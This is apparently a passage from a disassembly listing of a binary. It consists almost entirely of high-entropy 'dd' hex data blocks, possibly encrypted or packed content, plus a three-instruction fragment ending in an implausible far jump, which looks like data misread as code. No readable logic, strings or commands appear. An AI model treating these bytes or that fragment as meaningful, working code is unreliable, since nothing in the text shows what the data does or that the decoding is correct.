		dd 80303D8Ch, 0BBC18633h, 28965782h, 0E0941492h, 2080A42Eh
		dd 54003C9Fh, 0F1851FFh, 0AFA81Fh, 362DA0E7h, 94B296A3h
		dd 909C30C0h, 0DA5206h,	83E2CD25h, 98C1F1C2h, 4933E6E6h
		dd 0C37589Bh, 9C717EA8h, 9AEC8069h, 11B9F0A0h, 0A933D178h
		dd 4571022h, 5AD85BDCh,	4FD7C35Fh, 5C40CFDFh, 21A396FFh
		dd 0BDF1B109h, 0D9B41301h, 0C8800E72h, 2E5B2099h, 0D1C5335Ah
		dd 144611B5h, 0C18995Ch
		dd 0F61617EBh, 0FF715758h, 0B43E5300h, 7CFE88D2h, 0CE434023h
		dd 0C30B76Bh, 485751E8h, 1E37B7D7h, 634CA70h, 50BE4417h
		dd 0E81C8D98h, 52005582h, 0CCE6333h, 28D84826h,	0F0381732h
		dd 9515EC4Ch, 198CB53Ah, 0B650DCA4h, 5F2E5C51h,	0C1863454h
		dd 0C1B50038h, 0AE6CAF14h, 4F00875Eh, 0D2C02067h, 3F61994h
		dd 6DD9DF38h, 1EC283FEh, 0B6570880h, 0E6248E92h, 0FE8024F2h
		dd 0C8381251h, 3CF4A09Ah, 0FC8E0070h, 4E896ADEh, 0ABE8FD66h
		dd 8F1538h, 9E28967Eh, 0AB8C99Bh, 842E56F9h, 0DD6E8850h
		dd 19A72607h, 3BED5C10h, 7230E834h, 397E7F5Ah, 47AB4E2h
		dd 0A7E6FEC1h, 0E0548096h, 20EB52ABh, 0E8181750h, 13E8984Bh
		dd 67D300FAh, 0E6875DB6h, 0B8C1A460h, 12A752FFh, 0B7F0F0h
		dd 749D08D5h, 8599E716h, 0BE39BC01h, 8FAE60D6h,	774EF08Dh
		dd 50580968h, 5BF252D4h, 799A8C00h, 0DA632E40h,	707B064h
		dd 0FEC6E0B0h, 0CC8280FFh, 0F92E3D3Bh, 73133942h, 0C655E20Eh
		dd 7F0C0497h, 5C25738Ah, 126F11E8h, 54A76960h, 5F3E2483h
		dd 6EAD5B57h, 0D8C6700h, 5A555225h, 0FFED843Eh,	70E27338h
		dd 10C4C5F0h, 71CEE8Ah,	93602535h, 40000E76h, 0F78CB151h
		dd 0E6C1FFD1h, 52671EE9h, 200A58EAh, 5A01CB02h,	135BEB82h
		dd 96F949A1h, 4F1C6DD3h, 546B9F81h, 1E89B9CCh, 5FF60632h
		dd 2B5EEC02h, 0F2648DAh, 0F10C0C69h, 0FBCFE1Dh,	268E59E8h
		dd 1F0D06AAh, 40535E2Dh, 9E8801Eh, 331EA5Bh, 0C882CCF9h
		dd 0B9512740h, 3DECCEh,	9B264978h, 0EA0FD602h, 22C37AF0h
		dd 0DB59C42Ah, 0F880D1DEh, 0DC8042B9h, 0CAC8F482h, 1EC1BEE7h
		dd 851FEA5Ch, 815B3487h, 826BFEEh, 346E123Dh, 98FD5CF5h
		dd 3148F06Ah, 5CE5C8F9h, 8E3BEAC1h, 0F958E311h,	9E0E47EDh
		dd 8D9244B8h, 0EC8110DFh, 38892014h, 0A365F742h, 0EB3AB913h
		dd 0C402B02Eh, 0A94178EAh, 8340F8CFh, 1D9F68F3h, 0C3845F44h
		dd 56FAEA03h, 3E475642h, 26481B51h, 0EBA8000Ch,	31457D4Ah
		dd 0CAF1C32Ah, 64540888h, 91F5040Dh, 0F07925Ah,	46C7855Fh
		dd 0B4E8878h, 8EDE3428h, 0C2315D7Bh, 0E429167Fh, 813E5E20h
		dd 0F6EF4734h, 0AB88ED33h, 0B73E1067h, 0EF5D1AC9h, 69729042h
		dd 0C23E519h, 0D4E66F73h, 0C89B878Ch, 3524E403h, 0E9D8021Eh
		dd 21054F89h, 8F741D8Ch, 0E6E0F810h, 3E0E066Dh,	0EBD38859h
		dd 34E3F712h, 85640Fh, 15EFBFF1h, 0C2754FCDh, 0CF820802h
		dd 40C36CDEh, 0CE40624Eh, 3C44D82Dh, 67E6848Ch,	301595C3h
		dd 8131EA09h, 0D1BC0AC0h, 0A61D1876h, 0BB32C13Ch, 20AC39FAh
		dd 4A495C47h, 46538FFFh, 0DEDD0A2Bh, 80C10C2Eh,	0D0910571h
		dd 0F2F07628h, 2ABBBC01h, 3258EAD9h, 15E3F26Eh,	14F7345Ch
		dd 0D1CA51C7h, 386909C9h, 9B0A3170h, 34B708FEh,	26EF0AD9h
		dd 0BA5260D2h, 0E5092E78h, 14D0208h, 1D8C5A1Dh,	98EA4A40h
		dd 0A284AB1Ah, 58BD87DDh, 315D3CB6h, 8936558Bh,	3C08B45Dh
		dd 4DFEA028h, 9B4078DCh, 54B4D58Ah, 0E54EEAC3h,	69992461h
		dd 0ACCF34E1h, 465163C9h, 71059489h, 8035B809h,	406CBB16h
		dd 0C2A3F3Bh, 488A5BD1h, 49A60526h, 1270D233h, 50FBF868h
		dd 0EA060941h, 6821DFD0h, 20F8895Ah, 3B4CE718h,	33039CB4h
		dd 24438569h, 8C8CA8B3h, 5AA7EF89h, 74D66F6h, 655011A0h
		dd 5A167847h, 0B2140453h, 0C4DA1F3Fh, 5D6E241Ch, 1486329Dh
		dd 106F15EAh, 91BDC180h, 1EEEB980h, 927A7530h, 60140CAh
		dd 1BE1B53Eh, 3D40F998h, 59C60022h, 4603E6C2h, 0CCF9C058h
		dd 82002180h, 951DA1F0h, 48F8506Ch, 0C63DD6D8h,	2A05E300h
		dd 1FA5EAFEh, 72425F80h, 0C282134Ah, 3E490E44h,	6D58F2C0h
		dd 95A0A3EFh, 934DD2EAh, 3B3150D1h, 2AC04916h, 55E44004h
		dd 8405460Bh, 0D9AF4062h, 4934695Ch, 318E593h, 2A52EFFh
		dd 2678B4Eh, 78206F1h, 0AB84345Fh, 7CD6D132h, 6A4932F7h
		dd 0EA58D312h, 24FD6718h, 2A00F954h, 4C7F4DC5h,	41B15B4Ch
		dd 9FC02407h, 315D612h,	50362740h, 0F07F7CD8h, 8C4CC448h
		dd 67D7D04Bh, 277C682h,	59EA05A8h, 5EF7652h, 3934729Fh
		dd 621C2480h, 3384C87h,	5D243320h, 0DE4A8F58h, 0C1294C24h
		dd 88204C26h, 0B83A4E02h, 8B365920h, 63160206h,	926C55Ch
		dd 7A38358Ch, 0EA189E62h, 0C20E2212h, 820339EEh, 7988FBDh
		dd 684CA4C0h, 963D983Ch, 0CB42489Dh, 81885EEBh,	90555D9Eh
		dd 0EA56AC40h, 410641AFh, 16C867Ah, 3130845Bh, 5DC4CB88h
		dd 0FE8095A9h, 362D33E0h, 0FDEC325Bh, 56955938h, 0E91C0CBEh
		dd 87ED26EAh, 8259C822h, 0A3E4472Ch, 555378C1h,	0FB33515Bh
		dd 4B3BA880h, 0BB01530Bh, 5110739Fh, 9630DBF8h,	4490A42Ah
		dd 0EC058103h, 67D4293Fh, 46BB2C7h, 20D86F5h, 10D5327Eh
		dd 77793D9Eh, 810900C1h, 0C2FF78F2h, 0F737DA87h, 0E2E308D4h
		dd 83BBF707h, 440D3A60h, 585D9734h, 631283F8h, 51453143h
		dd 1456EC9Dh, 0F3829DA8h, 0BE52833Ah, 2DE51810h, 0A00E19h
		dd 0C2046E4Bh, 0D1F807E9h, 38E2E0Eh, 61020FC1h,	50316959h
		dd 8F088759h, 6F24902h,	1B3DEA08h, 0D10D263Ch, 45FAF051h
		dd 69580322h, 23195A08h, 0D45317E9h, 0D734A1DDh, 8BE83981h
		dd 0CD2AF89Eh, 5516FC49h, 8CE53C8h, 2209809Fh, 0EDC696C7h
		dd 243CB1ECh, 0BA1846h,	51B51DE1h, 0C990F302h, 43EA0880h
		dd 7C604BF5h, 8BEAFA09h, 0BBA0A883h, 691686A2h,	7934729Bh
		dd 43B39D81h, 3078AB63h, 0BBB8FE1Ch, 6B012B3Ah,	69574B10h
		dd 0F37661C8h, 0A802F700h, 2E3F2631h, 8E6F2B39h, 63EF5716h
		dd 0E177BC54h, 0A62023C7h, 0F2123118h, 7406F6Eh, 2D97A53h
		dd 5AC92A68h, 5740E902h, 0D986427h, 4154EA7Bh, 0A905EF8Ah
		dd 597D5A80h, 0A888E1D8h, 0C02D0BE6h, 4F63EE2Bh, 2A3C28CCh
		dd 8A272C6h, 0F6262DCEh, 44024CDAh, 9E4874EAh, 0C48116A5h
		dd 452410B9h, 9426EC31h, 0B13B2852h, 590073CBh,	35E0D131h
		dd 5B15D9B1h, 8937D5F3h, 5F806148h, 0C06832D8h,	3A85BF16h
		dd 821D0D37h, 1F8C8CF7h, 0AC30C75h, 4F683D69h, 1388028Ch
		dd 8B80E5C4h, 243C473Ah, 519A0CC1h, 23302FC2h, 8B9AB108h
		dd 0AF325C55h, 0B880C6C1h, 91284B26h, 5F551257h, 3C780952h
		dd 1FDE0844h, 646981C9h, 6C5F53AEh, 8A0D6031h, 594489E3h
		dd 37F685Dh, 0F65E7377h, 167869E7h, 80F0B4A0h, 7158EB18h
		dd 53397E95h, 5274864h,	28EE79C9h, 2404C21Ch, 12820C2Bh
		dd 0C8BC0493h, 0DF248A66h, 5467F55Ch, 7A20E495h, 0BC0BF57h
		dd 4F20BD4Dh, 452D1D86h, 8F2E23F0h, 0C102D0Eh, 1AFC2A13h
		dd 694023E9h, 0D07A2106h, 4F532B31h, 4B26E78Ah,	0EC5C691Eh
		dd 3756C3B3h, 60F94F01h, 2E07E1C2h, 4EEC1486h, 20D43969h
		dd 6590152h, 0A648CD0Fh, 0C7535431h, 55DEB14Ah,	4E7DCA32h
		dd 4AAB17AAh, 0A8A52983h, 19D9036Fh, 0EC8A48CFh, 8868ACEAh
		dd 1E286536h, 0A030CF29h, 92EB2F89h, 126F2607h,	47430231h
		dd 17C0599Ch, 84CE3C2h,	84793FC6h, 0D78A0AD5h, 24EA6988h
		dd 66806C62h, 5A581B55h, 0B0C089D5h, 9057604Ah,	8059E804h
		dd 74B8DE32h, 98197420h, 59FB5D15h, 0DC98616h, 0C3706809h
		dd 0E8E9F2F8h, 600E796Fh, 0ACD2A65h, 242C3E8Bh,	1A8A8198h
		dd 0E3E4EC88h, 9926587Ah, 0C281CB73h, 465C254Dh, 71F652ECh
		dd 7C010FFFh, 6CED0424h, 0B4422008h, 4E5F4233h,	89241FEAh
		dd 0F8BA9F14h, 0BBEB4B60h
		dd 0A2B0DE1Eh, 0C350D378h, 2CD28B08h, 1E171910h, 5C431C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	far ptr	603h:0ED24A5C5h
; ---------------------------------------------------------------------------
		dw 5AE9h
		dd 0C16E3DE7h, 0CD0308BFh, 23C36602h, 3B33283Fh, 0EB890CEFh
		dd 3D6725Dh, 0E915C222h, 44004E65h, 0DFB8505Ch,	324DA85Ah
		dd 58D24429h, 49D42AE0h, 116860Ch, 33E91674h, 8B3652ABh
		dd 0CFF93C7h, 0B1E19CE3h, 5E8880D5h, 0E7C14758h, 0C7810606h
		dd 0C405367h, 5689EF0Fh, 0CF01FFCAh, 0D6F1A87h,	9F9B7C87h
		dd 0C731A0FFh, 96092E9h, 0F7484062h, 6037F2D0h,	5105124Ah
		dd 337AFC53h, 14692B31h, 2770D2F7h, 0CA810103h,	1F30E16h
		dd 0A081F252h, 9DD76CE9h, 983B2998h, 31369059h,	0CFC5E4E8h
		dd 32845508h, 7C0E9130h, 890A9807h, 92550F41h, 4AC2480Eh
		dd 0F6034E58h, 4EC83D2h, 0D0B72700h, 56E9FA28h,	0BD2EC013h
		dd 322738B4h, 18DDF73Eh, 53183688h, 0C4E35189h,	0BBDAE70Dh
		dd 258E20FAh, 0E5F28004h, 0B3C1C2FEh, 6CDC055h,	86169Ch
		dd 0C3285AD3h, 6F60D2E9h, 338CE4Dh, 0C4060A7h, 729766B0h
		dd 0FAE94E0Dh, 0F321653Ch, 0A30FDF10h, 0D1E0A804h, 4C6880D4h
		dd 0A0816555h, 30CF742Ah, 26DDCCE9h, 30080FB0h,	18525AF0h
		dd 0EB833039h, 5CC50464h, 513082h, 0C780DFF6h, 0AD06D860h
		dd 74596866h, 0F919240h, 0D728E8B2h, 0B4505A80h, 0EC33804Eh
		dd 83C32E4Dh, 0ABEFC3E7h, 0FF080658h, 86FB67E9h, 0EBEC98ACh
		dd 0FE5306A1h, 71335844h, 0B9E5CF26h, 0E8F76A1h, 0CACAD1B5h
		dd 0DBF78FB4h, 0E4422C6h, 0E0F5516Ah, 6048E950h, 97C66D87h
		dd 29E05AFEh, 3F33F17Dh, 36331A2Dh, 0D063134h, 301594A4h
		dd 75B21FE9h, 0B1A69h, 0EE685A04h, 0E165C653h, 32A21AFDh
		dd 3063784h, 0FA6EC280h, 0BFAAA094h, 7A655387h,	0FCF0342Eh
		dd 50158B32h, 0B88094A6h, 503D4FFh, 47763A20h, 0D30F2A30h
		dd 281804F3h, 28E47CD9h, 0A94B01h, 6A9A1128h, 34FFDE31h
		dd 0BB5B242Bh, 3FE3EF80h, 48297A5Ah, 841F9F7h, 835E3188h
		dd 9F305428h, 665984D3h, 99B50E51h, 3ADEE828h, 0B353D800h
		dd 80C3FEE6h, 7A4EEB4Ch, 0C02C5B03h, 2402EC81h,	41BA6673h
		dd 0E1F8282Bh, 0C59B258Bh, 14680179h, 4D38A748h, 5448575Ch
		dd 10A38B68h, 0DF012650h, 4A5D080Fh, 8989BC13h,	0A2FA88E2h
		dd 4137BC4h, 8C63300Bh,	69D4C227h, 0DD313777h, 36D2EF07h
		dd 25B7A6E5h, 0C3832419h, 10694F8Fh, 35BB2BA3h,	0C17634C8h
		dd 8707EB1Ch, 7B1C95D3h, 0ACE953C6h, 68687163h,	2AB7B32h
		dd 7129BD55h, 0E5C17960h, 0E4E9060Ah, 81BCCA22h, 252E1076h
		dd 0F5E3D901h, 3A5B080Ch, 56F16B1h, 1C111C45h, 10C5211h
		dd 0BA1511Ch, 7E4280C7h, 177CC4Ah, 80282E9h, 0AF44515Dh
		dd 8F78AB8Ch, 66047791h, 0F481F1F7h, 0ED09550Bh, 0C9353150h
		dd 1BB400D2h, 0E1E65030h, 249C704h, 800590C0h, 0EEE6FFC6h
		dd 0B7530109h, 29FE04B3h, 0E9BF0AC0h, 876E55CCh, 73B98280h
		dd 415D9D0Ah, 0D603CFCh, 31FEBA1Ch, 4B3848F1h, 8C15C101h
		dd 25F7E952h, 81245498h, 8CEFC8FFh, 0AA875B12h,	0F66135Ch
		dd 438E23BBh, 5E5B36Fh,	0EA5BE3D8h, 51C381B2h, 0A806B6ECh
		dd 1CCCEEC0h, 0FE476C46h, 34736F16h, 47871999h,	56579418h
		dd 635E8CA8h, 0D8876A5Ch, 37D7092Ch, 7197A393h,	0F069F780h
		dd 6FC0742Eh, 0F94E49E3h, 0FE1F9057h, 0C608DDD5h, 2421B4E9h
		dd 8E8C006h, 5E9124h, 8858C130h, 20E959CEh, 2C621649h
		dd 7C29C651h, 1268918h,	17E91AC8h, 0FDB06C0Bh, 8990C789h
		dd 1D32FE32h, 0A08311C1h, 2490620Ch, 8F7C5B01h,	8050E90Bh
		dd 247624BAh, 886F935Dh, 0C9AC1D60h, 0ACABD01h,	4B2077C4h
		dd 0BBF50436h, 0D5E82188h, 20DC852Ah, 5E54563Ch, 3F82C998h
		dd 0D067188h, 672EEE01h, 463333AEh, 0D066831h, 0C00B83CEh
		dd 908D840Fh, 2877FFE3h, 33408160h, 0A1642B3Ch,	0E9080441h
		dd 1D089E49h, 21CDFE01h, 0E0410ED6h, 83012D45h,	0C02A8CC2h
		dd 99521091h, 35416234h, 3895D04h, 0DD5246E8h, 0F8DC8B15h
		dd 0E585B1AFh, 0EE8190E2h, 584C4597h, 0EB523F01h, 1330A7Bh
		dd 7942208h, 901E5F2Dh,	5E8015Bh, 0F2C007A2h, 0E53E287Eh
		dd 5EF09517h, 18680897h, 0E6572A77h, 0F00553E0h, 0A7CCC020h
		dd 0D8310833h, 1EE90D06h, 32A18154h, 0D06BA3EEh, 40170298h
		dd 10D30E88h, 0A7148A5Ch, 1783DC86h, 1C142F1Ch,	7FF05EDh
		dd 75F310C3h, 89A7F560h, 17813C4h, 0E94402EFh, 7EC7F0D4h
		dd 0DD5C1EB3h, 8362AE4Ch, 5A10A168h, 2D70B30h, 0E93D0D60h
		dd 780FF353h, 31494DC2h, 0E7B26D62h, 0D5880114h, 0D1F583E3h
		dd 0CC482B3Bh, 268F91D6h, 0B55B03D5h, 80BC5671h, 3C429C14h
		dd 0E95F3A0Ch, 92338584h, 0D3663F8Ch, 1232314Dh, 4746871Dh
		dd 0AB424290h, 54230132h, 255A4149h, 5722583Fh,	9894BF58h
		dd 1F43F118h, 14E96055h, 0B8C9E787h, 0C00C3F46h, 0C43933Eh
		dd 6A760B3Ch, 0D80F0172h, 0EE274ACCh, 5F62F50Bh, 41788AACh
		dd 1C18F60Dh, 5AEB2140h, 52198D2h, 36A2DB9h, 2634C234h
		dd 4F0DF50Ah, 7F77BEF9h, 0A2401A5Ch, 0C9808015h, 2CD01726h
		dd 0F1CCC11Dh, 0E0E206F5h, 5595CC8h, 0E9D780A4h, 12C4387Dh
		dd 88C3EBD1h, 24EAF310h, 0A0E5C3A6h, 1C305815h,	15FF981h
		dd 41E822CEh, 92CF72CAh, 17439013h, 0B11BBA52h,	0C645403Ah
		dd 8ADB0D06h, 3332CBC7h, 6312806h, 0DE40DD1h, 44FEBCE9h
		dd 87181DBCh, 68AD387Fh, 6B6AB732h, 0B3A8254h, 7CB900CFh
		dd 4918D66Ch, 0C3FECB31h, 0F0362CB5h, 2ABB0801h, 0D3186126h
		dd 25685AD9h, 0E0134429h, 100806C7h, 34B642A1h,	0EBEC5BF7h
		dd 590C7868h, 6B0C5148h, 4D8B82DFh, 93DF9E34h, 5E70520Fh
		dd 0E0493FD6h, 9ED9881Ch, 7FEA4ACAh, 0EC3B1F4Dh, 0E680521Eh
		dd 185958FEh, 1B3E91Bh,	721809BDh, 6782A15Bh, 6800DC6Ah
		dd 644409BFh, 9252C49h,	0E1DF0058h, 166F0B54h, 0B5FFA89h
		dd 82AA9DEEh, 0AC1A48Eh, 33A901Ch, 4D404361h, 0DB7DC08Dh
		dd 94A123F6h, 2C4330EEh, 0B0CF0180h, 4C88208Ch,	265ABF09h
		dd 0F7E90037h, 76E7206Ch, 0AEEF0332h, 292E30D5h, 0EA017E12h
		dd 4488BA0Fh, 0DC1369Fh, 0C289E870h, 3425CB29h,	1846259h
		dd 6BBFD4C0h, 17887618h, 0BD289656h, 3E74C03h, 3C0CE606h
		dd 11E4E8Ah, 421651CAh,	8C5FFB01h, 4D8E1164h, 0F8098C5h
		dd 45DF634Ah, 54D319AFh, 5F20100Bh, 0DE45ACB0h,	0DF5D061h
		dd 5167D809h, 5F010B99h, 4304DD55h, 9C10A5F0h, 0EBC9EE56h
		dd 0C7B256EEh, 0E698E1E6h, 624DED04h, 0F5C24504h, 0EDC18E08h
		dd 0D0DB16EEh, 5CA74082h, 0C5609112h, 9B7FDEB8h, 0F8291B09h
		dd 5660018Bh, 0F066E689h, 98490642h, 0E1055C00h, 1F948B0h
		dd 154C70FFh, 8A806841h, 696D6E85h, 910B7BB9h, 8E019692h
		dd 591D723Fh, 5B585984h, 93C502D7h, 0CB289647h,	4E208E73h
		dd 11C3290Eh, 812C8706h, 1C570986h, 0E73148Bh, 0ACD2510h
		dd 0E9EEC14Eh, 4DC8C601h, 128A06F9h, 26C78305h,	5D8C001Fh
		dd 0F28931A1h, 0D0685E74h, 0E986824Dh, 514CCE18h, 0B966B251h
		dd 0D123FF76h, 0A8655815h, 4D7D0B0Bh, 0F1A30102h, 0F7F570C8h
		dd 1B854417h, 0F84A0613h, 0B0547055h, 0E16C0201h, 2DD8290Bh
		dd 11A0078Eh, 5358417Dh, 25CC6817h, 5982E637h, 92A97937h
		dd 8189C4A9h, 80B6548h,	53140A3h, 410965A8h, 12444282h
		dd 886171AAh, 93422966h, 0C9455386h, 90985689h,	110241EFh
		dd 0B0E97AF5h, 99B8001Bh, 1E2E9A70h, 0F70094C1h, 28030DD0h
		dd 14606E4Fh, 90ADC0DEh
dword_4E616C	dd 0C3295280h, 0EB584598h, 68C49DA2h, 4EB34119h, 7B5F1E00h
		dd 0E690E937h, 13BCAB99h, 40D05A71h, 12F3814Bh,	40C94086h
		dd 0A1ADE6B5h, 0DA500985h, 0D4E4990h, 40544446h, 3BDE9E0Dh
		dd 0DA3F7994h, 41621D04h, 0ED08D209h, 0BAE90883h, 4A42411Fh
		dd 0FB5AEA41h, 0CEF4E169h, 301AC384h, 9D16FFD8h, 0FE207B42h
		dd 7E1107h, 6856512Ah, 4E4F13C5h, 12605E49h, 6B00D6F7h
		dd 52D1DE32h, 0F311B889h, 7C2267CCh, 0E9FE08h, 0FFA31B7Ch
		dd 0D159CE09h, 0DEF7E614h, 0F46720F1h, 5EF32701h, 0E95C9418h
		dd 719E854Ch, 0D2AACA9Eh, 1372E20h, 0E5C0B2B5h,	0ECC58002h
		dd 6D5C8668h, 66E9C275h, 8BD0060h, 1150FB33h, 3D065B93h
		dd 0D5F74707h, 0F914C104h, 2050A88Dh, 10905D8Bh, 776400Ch
		dd 4B990C34h, 0C7DFC055h, 5D404DE9h, 2FB6000Dh,	0A4250F3Ch
		dd 1F7F5719h, 501DE65Ah, 582C18FBh, 202F4981h, 90B4C75h
		dd 210293Dh, 7A01935Ah,	5EE80FA6h, 5F651C98h, 4CCF901Fh
		dd 4AB00424h, 80E28F48h, 0CF56BDC2h, 4F72B87Bh,	5772202Bh
		dd 1CB0E789h, 681382A4h, 1EC936EBh, 0EEC8A822h,	2FB2AEEAh
		dd 80F679BEh, 46351F18h, 0DA5C56E9h, 65BDC103h,	94605B3Ah
		dd 637D09BEh, 6A815711h, 304A5919h, 6249F041h, 0D91C2477h
		dd 45CA978Ch, 0C15D0DEEh, 478E07E6h, 31267013h,	0A42EE9F3h
		dd 71A0F86Bh, 4DC0AD98h, 8338E52Dh, 0D029142Bh,	9C490705h
		dd 1ABDE90Ch, 0E4E5C2BDh, 1245A43h, 82080CAh, 722856D6h
		dd 9CD92B7h, 3EDA6850h,	1D004EC6h, 0B8573632h, 1076937h
		dd 1462DD0h, 31294151h,	0C07041Bh, 533C70D9h, 0D4FBBB58h
		dd 90C4BE8h, 4028A933h,	0B5B65C39h, 48430825h, 0D883A88h
		dd 8AC2D129h, 5ECA0906h, 1894DAECh, 0C2B9270h, 0BD3ED96Fh
		dd 27E20053h, 0E944AF62h, 2E716421h, 847F875Dh,	6854E057h
		dd 770D842Ah, 0DA6EFFB4h, 209BF295h, 0BA046095h, 2EEF1F5Ch
		dd 8422BD0h, 2B9A01Ch, 0ED190D23h, 12C4D689h, 14D801F7h
		dd 5D2420FAh, 0D61C2C1Fh, 9177EA09h, 2DACBC3Fh,	0FA264F2Ah
		dd 0BA0012EDh, 43EA58B9h, 0D65AD509h, 0BA21CC0h, 0C485FE7Dh
		dd 0A8C7D6FDh, 511788A7h, 284E0F08h, 0C0AE90ABh, 3CE8355Ah
		dd 0F6F473F2h, 660B2C9Ch, 4271EAD3h, 3CECF1CDh,	5008EC10h
		dd 8CEC4479h, 554E3A01h, 33066852h, 0EC78AE71h,	106153A2h
		dd 64BD00F1h, 2A202662h, 5BED6044h, 0C0601DE7h,	74125D6h
		dd 0DD2D053Bh, 0C053A270h, 6EBA528Dh, 49A11D05h, 0EE00DAF7h
		dd 0E4735E1h, 803628E9h, 82307E74h, 0A49BE0F2h,	0FB31812Ch
		dd 0E5962CD3h, 50054C0Dh, 4D00D67Eh, 814F2DC2h,	0EA16A0CFh
		dd 88D8A077h, 2A6F307Ah, 5FE5690Ch, 0F87421B8h,	770BE090h
		dd 8F7A5956h, 8A81CC6h,	9930584Dh, 8450E87Ch, 0A14A23D6h
		dd 0D178DA9Ah, 0A0B683Ch, 0F0633B41h, 0E65B15C2h, 2B4CC40Ch
		dd 20384B7Dh, 2A61BF79h, 81006C76h, 236936E7h, 0DEEFC104h
		dd 0CE025806h, 827242AEh, 523824C0h, 1550A23h, 956AC6BDh
		dd 2CE2E91Eh, 4AC0AC3h,	5408A72Bh, 26B8173Bh, 8B26E223h
		dd 0BA512004h, 0B452FB74h, 945A90EEh, 679B148Dh, 0C845509Dh
		dd 8052AC0h, 997F4B79h,	5636085Eh, 0AE820D2Ch, 63057641h
		dd 0F5A7F11Fh, 0C20F36A7h, 7612B0Bh, 0E7D92558h, 175618AAh
		dd 0CE890190h, 427266E2h, 0B39672F2h, 17C9812Dh, 20ECEE28h
		dd 4716DFECh, 0F49D1C77h, 14868259h, 9C7BA22h, 5DEA4303h
		dd 5168D400h, 0E2C129D9h, 0E9421304h, 57EB81EFh, 4C88FF53h
		dd 0E8A92CC3h, 912A6950h, 5CD56105h, 0AE70D3F7h, 25781420h
		dd 9E10C121h, 0D1067E40h, 8150CD87h, 5A33E1F0h,	88CE344Fh
		dd 36401656h, 26B77968h, 0A7350102h, 0A44CA63Ah, 153CCA05h
		dd 8846FBEh, 331D9353h,	257118CCh, 3B2EF6EFh, 0F7001A60h
		dd 0D99B6E62h, 0BE9606E9h, 582332Fh, 9E67F230h,	57FC8543h
		dd 0D5DE35BFh, 0E33EF455h, 2612AF90h, 9B82C0E9h, 281AE046h
		dd 3C33806Bh, 0F78BE4A8h, 2A685A80h, 20F81727h,	0D7FC86D3h
		dd 0C14A04DEh, 54629675h, 0A8F5515Dh, 2563A6FBh, 0FCBB3E45h
		dd 25EB4CD9h, 22B50419h, 3D4457E5h, 0A5026C5Fh,	8E9B6859h
		dd 800B1845h, 88201EF4h, 0EE878CE2h, 5DD3682Ah,	3996701Bh
		dd 1914ED94h, 6616FB32h, 4C8D56Eh, 0A4115847h, 0F4008FBh
		dd 0C3883E5Ah, 42A059A4h, 8CE626B4h, 346071F0h,	0F48C383h
		dd 66C024B6h, 0FC871FCBh, 0F78519B1h, 0C09EE95Ah, 533B66F8h
		dd 0D8281DB3h, 36A45B92h, 0FEB5C73Eh, 456B87C8h, 286349C0h
		dd 4C92CB2Eh, 5992F71Bh, 4DE1EFABh, 168B511Ch, 0B02287C6h
		dd 50BD34A1h, 0F828BFD0h, 0E9FCEF58h, 48049ABEh, 5983E468h
		dd 3199CE29h, 98F2C9D6h, 5A675208h, 4AB7B087h, 30B13D1h
		dd 1E456116h, 0E5999795h, 98F795B8h, 84B0D94Ah,	50EB9C5Dh
		dd 0C2B28932h, 63EFB800h, 350545D2h, 7F853A22h,	5CC92ACCh
		dd 9009D142h, 3BCF142Ah, 337A87BEh, 0EB06DD31h,	2130D50h
		dd 0C035E925h, 1D1F6E0h, 8ACB8853h, 0D905244Ch,	4E08B05Ch
		dd 50C6805Ah, 35DBC37Ch, 8937A1E9h, 50AF424Ch, 0F5F46BCCh
		dd 0E02E912h, 6390E327h, 0B04A29B3h, 3ACD30BEh,	7A12C11Bh
		dd 7B5FD424h, 7E2A0F00h, 2DF92930h, 70B41E9h, 8258C439h
		dd 8A7F892Ah, 23B28428h, 0EE5AAD0Ch, 48874C40h,	860B6F9h
		dd 0DFCE181h, 0D170E01Dh, 599240B0h, 0E92E124Fh, 0F6E9D51Eh
		dd 49294D9Fh, 0B1DD46Dh, 9319E954h, 91B4BBBh, 0F5E83F93h
		dd 0CF93C7F2h, 0DEC59B3Fh, 195F5A12h, 2B522872h, 53E48D75h
		dd 287AB6A1h, 0F9205C3h, 0C18909F2h, 0BAE1C118h, 0C4824B28h
		dd 0E0CE2FD0h, 0B7291F27h, 4714489Ah, 0BB530083h, 653A1A54h
		dd 30B90651h, 3434DC22h, 9F337D0Dh, 12855772h, 1E6EC3FCh
		dd 0D2F69E9Ch, 98F20967h, 3B684521h, 22884D0Ah,	34442C39h
		dd 0FA869AADh, 4F2118E5h, 26E9E71Ch, 10A63249h,	307A3DBCh
		dd 0BB5ED19Fh, 0F43D1F38h, 343C1806h, 0F059E849h, 0AA575DAAh
		dd 0F46B907h, 3D16BBE4h, 379BD05h, 840119A8h, 7F1685Dh
		dd 0BA025A73h, 3E705EAEh, 550692C0h, 5B97A1h, 681D2F7h
		dd 0BE6B4DEAh, 0D8FE1021h, 829742BAh, 0A05E9C84h, 7D8F6827h
		dd 5A4A0BD5h, 3C4CD031h, 1EF43020h, 1C05CE80h, 0F43CF5E3h
		dd 3342DD72h, 0BC271C25h, 8F1069D5h, 492CF8C8h,	77102365h
		dd 0C3344648h, 5FE9C156h, 0BB962089h, 620A099Dh, 2E601FCh
		dd 331D9F7h, 4186C0DEh,	3B172D68h, 8BB0310h, 3A98257Ch
		dd 7A4A78E9h, 313D38FAh, 0D8141A6Ch, 0EAD0C054h, 32901475h
		dd 8C448AF3h, 7326ED9Ah, 0C203874Ah, 0B474318Ch, 192FD748h
		dd 3C00875h, 0CB012E3Fh, 4CFE00F6h, 0E9566653h,	52C4E737h
		dd 937D52B0h, 12314B5Bh, 5D3BA425h, 78F9AEAAh, 4CC08549h
		dd 79AF999h, 0CC8E3359h, 0C89256C9h, 0C4294A04h, 61AFF1C8h
		dd 12562C32h, 4205EEC1h, 0C2D6F20Eh, 6333B94Ch,	3314302Fh
		dd 79505EAh, 0F6B77B41h, 95D213E4h, 10D28201h, 0C59C6C2Dh
		dd 9858544Ch, 4C012DF8h, 1656C06h, 74005F8h, 480E685Fh
		dd 12DEBC02h, 4F47F391h, 241AB25h, 5059C801h, 0A4C3223Ah
		dd 88511568h, 0EF58E572h, 6A4514h, 1C78020h, 5A90EFE6h
		dd 8119FA60h, 1D2D77EBh, 5D07E4h, 4FC554BDh, 795F3DE9h
		dd 0A6982F74h, 0C8BF050Fh, 435CF368h, 0C25AE960h, 3BF29045h
		dd 0F74B8F00h, 73E3C1D3h
		dd 55CDF304h, 0B52120h,	0BD089F29h, 138C60ABh, 0E7B0CDF0h
		dd 6204F55Ah, 6E981A38h, 0A330737h, 0EADD6858h,	36D5400Dh
